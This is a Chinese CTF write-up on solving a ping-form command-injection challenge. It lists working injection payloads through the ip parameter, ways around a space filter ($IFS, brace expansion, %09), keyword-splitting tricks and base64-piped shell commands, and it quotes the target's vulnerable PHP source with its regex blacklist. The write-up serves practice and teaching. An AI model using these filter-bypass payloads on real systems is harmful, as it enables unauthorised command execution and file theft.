所谓管道符(linux)的解释与用法如下:
尝试命令:
?ip=127.0.0.1;ls
看到flag.php,那就使用cat flag.php命令尝试读取
?ip=127.0.0.1;cat flag.php
被过滤了空格,过滤空格的方法如下:
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试命令1:
?ip=127.0.0.1;cat$IFS$1flag.php
还是被过滤了
查看一下index.php,查看一下过滤机制,命令如下:
?ip=127.0.0.1;cat$IFS$1index.php
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这些是正则匹配的过滤方式,好像过滤了很多命令
?id=127.0.0.1;cat$IFS$1fl*
被过滤了
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1bash
还是不行
?ip=127.0.0.1;ca\t$IFS$1fl\ag.php
被过滤了
?ip=127.0.0.1;cat$IFS$1fl’'ag.php
还是被过滤了
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
成功,可以在注释里找到flag
?ip=127.0.0.1;cat$IFS$9`ls`
成功,可以在注释里找到flag
?ip=127.0.0.1;echo$IFS$1“Y2F0IGZsYWcucGhw”|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
成功,可以在注释里找到flag
以上就是我对这道题的解法。因本人菜鸡一只,如果有什么不对的地方,实属正常。还请各位大佬予以指正,谢谢!
手机扫一扫
移动阅读更方便
你可能感兴趣的文章